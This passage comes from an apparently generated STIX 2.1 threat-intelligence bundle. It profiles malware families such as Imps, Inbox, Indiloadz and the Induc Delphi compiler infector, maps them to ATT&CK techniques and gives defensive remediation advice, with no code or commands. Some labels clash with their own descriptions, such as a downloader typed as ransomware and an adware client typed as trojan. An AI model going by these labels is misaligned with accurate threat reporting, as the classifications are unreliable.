      "description": "<h3>Executive Summary</h3>\nImps is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nImps is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Imps operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Imps ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Imps receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Imps infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Imps executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Imps frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Imps",
        "Downloader.Imps",
        "Win32/Imps"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Imps",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/imps"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af40a95b-da82-505c-b892-5eb7a60c81fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8ae0725-822e-5cf9-84bb-6bfc8ff2decc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imps exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8390220d-ec30-5f43-943a-fc782508e898",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8ae0725-822e-5cf9-84bb-6bfc8ff2decc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imps exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0601372-b537-555f-9bf3-0b138d1e88ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8ae0725-822e-5cf9-84bb-6bfc8ff2decc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imps exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cffa5700-4acd-559b-a0f0-7a0263edafb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Imqaaem1Agai",
      "description": "<h3>Executive Summary</h3>\n\"Imqaaem1agai\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Imqaaem1agai\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Imqaaem1agai",
        "Heur.Imqaaem1agai"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Imqaaem1Agai",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/imqaaem1agai"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97e1550c-1ea6-52fd-a29b-fd901c17a356",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa5700-4acd-559b-a0f0-7a0263edafb7",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imqaaem1Agai exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54b3bb59-e8d8-555c-b9cc-bc1cc0d461e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa5700-4acd-559b-a0f0-7a0263edafb7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imqaaem1Agai exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2dacb59a-cee7-5996-b5cb-1eedd7949cda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cffa5700-4acd-559b-a0f0-7a0263edafb7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Imqaaem1Agai exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab841ee2-1b5a-547e-98b6-0d67c4db7ae7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inbox",
      "description": "Inbox (widely cataloged across security solutions under designations including BrowserModifier:Win32/Inbox, Adware:Win32/Inbox, and PUA:Win32/InboxAce) is a pervasive browser hijacker and adware toolbar family developed by monetization networks (such as Mindspark/IAC). Distributed through deceptive software bundles, fake search bars, and free game installers, Inbox alters internet browser configurations across Google Chrome, Mozilla Firefox, and Internet Explorer. It silently modifies the default search engine, home page, and new tab settings to point to affiliate search engines (such as InboxAce search or customized Ask/MyWay portals). It injects commercial advertising banners, sponsored search results, and pop-up windows while monitoring browsing navigation and query keywords for behavioral advertising targeting. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Inbox",
        "Adware:Win32/Inbox",
        "PUA:Win32/InboxAce",
        "Toolbar:Win32/Inbox",
        "Win32/InboxAce"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inbox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inbox"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3567152-73ca-5cfe-bef0-6f9db83dedd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab841ee2-1b5a-547e-98b6-0d67c4db7ae7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inbox exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13798a92-8d37-562f-8afc-e5300038c859",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab841ee2-1b5a-547e-98b6-0d67c4db7ae7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inbox exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ddc95a2-7592-57c6-89b7-9ca5d1b45ed1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab841ee2-1b5a-547e-98b6-0d67c4db7ae7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inbox exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01dd1e96-8aee-5a0e-9613-0638bab18a14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab841ee2-1b5a-547e-98b6-0d67c4db7ae7",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inbox exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50d9bd43-2a62-5795-aea6-a79297e9f49b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab841ee2-1b5a-547e-98b6-0d67c4db7ae7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inbox exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8be97955-5bba-532c-8743-6b8c4dd9a612",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Incredimail",
      "description": "Adware:Win32/Incredimail is a detection for the legacy, highly controversial email client 'IncrediMail'. While technically a functional email application, its extremely aggressive monetization tactics, bundled toolbars, and heavy tracking led most major antivirus vendors to classify it as a Potentially Unwanted Program (PUP) or Adware. The company officially shut down in 2020, but legacy installers continue to circulate, presenting security risks.<br><br><b>Understanding Incredimail (Legacy Adware)</b><br>To an end-user, Incredimail offered a flashy interface with animated emoticons and custom backgrounds. However, the 'free' version came at a steep cost: the software forcibly changed browser homepages, appended advertising signatures to every outgoing email, and installed aggressive tracking toolbars. For a security team, legacy software like this represents an unpatched attack surface (`T1190`) and a vector for data leakage.<br><br><b>Execution and Intrusive Mechanics</b><br>When installed (`T1204.002`), Incredimail often bundled third-party 'search protectors' (like the MyStart or Perion search hijackers) (`T1189`). It established deep persistence (`T1547.001`) and aggressively hooked into browser settings (`T1112`) to redirect search traffic to affiliate networks, generating ad revenue. Furthermore, because the software is now entirely defunct and unsupported, any existing installations contain unpatched vulnerabilities that can be exploited by remote attackers or local privilege escalation exploits.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severe degradation of the browsing experience, privacy violations via data collection, and the presence of end-of-life (EOL) vulnerable software on the endpoint. Host-based IoCs include the presence of `IncrediMail.exe`, the 'MyStart by IncrediMail' browser extensions, and registry modifications forcing browser homepages to Incredimail's legacy portals. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Incredimail",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/incredimail"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b7f0a74-098d-5081-8985-f10adb1d3e6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8be97955-5bba-532c-8743-6b8c4dd9a612",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Incredimail exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c6e8143-760a-5e8d-92b2-218f8f77d3fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8be97955-5bba-532c-8743-6b8c4dd9a612",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Incredimail exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50105879-546b-562e-ac40-b1a52a6daaa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8be97955-5bba-532c-8743-6b8c4dd9a612",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Incredimail exhibits technique T1204.002 (User Execution: Malicious File (Manual installation by user))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad505d1f-83af-51d8-a925-6c110e22766b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8be97955-5bba-532c-8743-6b8c4dd9a612",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Incredimail exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Indigorose",
      "description": "<h3>Executive Summary</h3>\n\"IndigoRose\" refers to detections associated with AutoPlay Media Studio (and related products) developed by Indigo Rose Software. This is a legitimate, commercial rapid application development (RAD) tool used by software developers to create custom multimedia presentations, autorun menus for CD/DVDs, and software installers. However, because the tool allows for the easy compilation of executables that can silently launch embedded files and scripts, it is frequently abused by malware authors to bundle and distribute Trojans, making compiled IndigoRose executables highly suspect in enterprise environments.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe IndigoRose software itself is not malware. The threat arises when a threat actor uses the tool to compile a malicious package. This package is then distributed via phishing emails or fake software downloads.\n\nWhen a maliciously crafted IndigoRose executable is run:\n<ul>\n<li><strong>File Extraction and Execution:</strong> The compiled executable acts as a sophisticated \"dropper\" or binder. It silently extracts embedded files (the actual malware payload, such as a RAT or info-stealer) to temporary directories (e.g., `%TEMP%`).</li>\n<li><strong>Scripted Automation:</strong> The attacker utilizes the legitimate scripting capabilities of AutoPlay Media Studio (Lua-based) to automate the execution of the extracted malware, modify registry keys, or even disable specific security services before the payload runs.</li>\n<li><strong>Evasion by Association:</strong> Because the outer executable is compiled by a legitimate commercial tool, it often bypasses simplistic antivirus heuristics that are looking for standard malware packing techniques (like UPX).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of an unverified executable compiled with IndigoRose is a significant security concern (Riskware). If the executable was not explicitly created by the internal IT team for administrative purposes, it must be assumed to be a malicious wrapper designed to bypass initial defenses and deploy a hidden payload.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Do Not Execute:</strong> If a suspicious IndigoRose executable (often disguised as a document or a \"Setup.exe\") is discovered, do not run it. Isolate the file immediately.</li>\n<li><strong>Forensic Unpacking:</strong> Security analysts must use specialized tools to unpack the IndigoRose container and analyze the embedded files and the internal Lua scripts to determine the true nature of the payload.</li>\n<li><strong>Network Isolation:</strong> If the file was inadvertently executed, immediately isolate the endpoint and perform a deep forensic scan to locate and eradicate the extracted secondary malware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.IndigoRose",
        "Dropper.AutoPlay",
        "Win32/AutoPlay.Suspicious"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Indigorose",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/indigorose"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bad0f27-bd06-5aa8-b1e7-9e69918cb1b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indigorose exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ad1d7f9-2513-50b1-a24a-4567b3101c3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indigorose exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3052b0e2-417b-5382-8116-9ec1bd154d8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indigorose exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4042e37-6406-53b9-95c6-b6a361c89e78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indigorose exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--834cf0b2-e9c2-5683-a4f8-2650748100db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indigorose exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1f2bbf6-448a-5f4f-8ffa-90eb9b854a72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6d959de-c85d-59d0-9d21-2d083e597279",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indigorose exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de894f0e-978d-5c75-8bf2-4940a80384ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Indiloadz",
      "description": "Indiloadz (cataloged across security vendor detections as Adware:Win32/Indiloadz, PUA:Win32/Indiloadz, and Trojan:Win32/Indiloadz) is an invasive software download wrapper and Potentially Unwanted Application (PUA) family active since 2014. Deployed primarily through third-party freeware hosting portals, cracked software repositories, and deceptive streaming websites, Indiloadz acts as a monetized installation stub. When users attempt to download legitimate software utilities or multimedia files, they are served an Indiloadz wrapper executable instead. Upon execution, the wrapper utilizes deceptive UI dark patterns\u2014such as obfuscated decline buttons and pre-checked consent toggles\u2014to quietly download and install multiple secondary payloads, including intrusive browser extensions, search redirectors, and adware toolbars. Indiloadz establishes autostart persistence via Windows Registry Run keys, monitors browser activity, injects unwanted pop-up advertisements into web pages, and exfiltrates endpoint browsing telemetry to remote monetization networks. (Observed samples in benchmark: 146)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Indiloadz",
        "PUA:Win32/Indiloadz",
        "Trojan:Win32/Indiloadz",
        "PUA.Indiloadz",
        "Win32/Indiloadz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Indiloadz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/indiloadz"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f99b79c-f058-59f0-9ebf-dac402b7a47d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de894f0e-978d-5c75-8bf2-4940a80384ac",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indiloadz exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfbc8206-08a9-53eb-97ca-2335632bfbd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de894f0e-978d-5c75-8bf2-4940a80384ac",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indiloadz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--425c2a7b-9800-5b29-b51a-84cb2af5553f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de894f0e-978d-5c75-8bf2-4940a80384ac",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indiloadz exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b6f13e7-6338-54cd-9583-1064cc77a39b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de894f0e-978d-5c75-8bf2-4940a80384ac",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indiloadz exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbf2153e-d021-55ce-8424-bd537687f8fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de894f0e-978d-5c75-8bf2-4940a80384ac",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Indiloadz exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d0dee658-203b-546f-98ae-6274a290f994",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Induc",
      "description": "Virus:Win32/Induc is a highly unique, fascinating, and historic file infector from 2009 that introduced a terrifying new vector for supply chain attacks. Instead of infecting random executable files, Induc specifically targeted software developers by infecting the **Delphi programming compiler** (versions 4 through 7). Once a developer's machine was infected, every single new, legitimate software program they compiled would automatically contain the Induc virus, turning innocent software vendors into unwitting malware distributors.<br><br><b>Understanding the Induc Virus</b><br>To an end-user, an Induc-infected file behaved perfectly normally, as the virus was largely benign and contained no destructive payload. For security analysts and software developers, Induc was a nightmare. It proved that trust in digitally signed, legitimate software could be fundamentally broken if the compiler itself was compromised. Countless legitimate applications worldwide were suddenly flagged as malware because their developers were infected with Induc.<br><br><b>Execution and Compiler Infection Mechanics</b><br>The infection began when a developer accidentally ran an executable that had been compiled on an already-infected machine (`T1204.002`). The virus would immediately search the registry for installations of Borland Delphi (`T1012`). If found, it navigated to the Delphi source folder and located a core library file named `SysConst.pas` (the source code for system constants). The virus injected its own malicious Delphi source code directly into `SysConst.pas` (`T1195`). It then invoked the Delphi command-line compiler to compile this modified file into a new `SysConst.dcu` (compiled unit). From that moment on, anytime the developer compiled *any* project, the Delphi linker would automatically include the malicious `SysConst.dcu`. Every output `.exe` became a carrier for the virus.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact was massive reputational damage to software vendors and a stark lesson in supply chain vulnerability. The IoC is the presence of the Induc signature within newly compiled Delphi executables. On the developer's machine, the key IoC is a modified `SysConst.pas` file containing malicious source code, and a recently compiled `SysConst.dcu` file in the Delphi library directory. (Observed samples in benchmark: 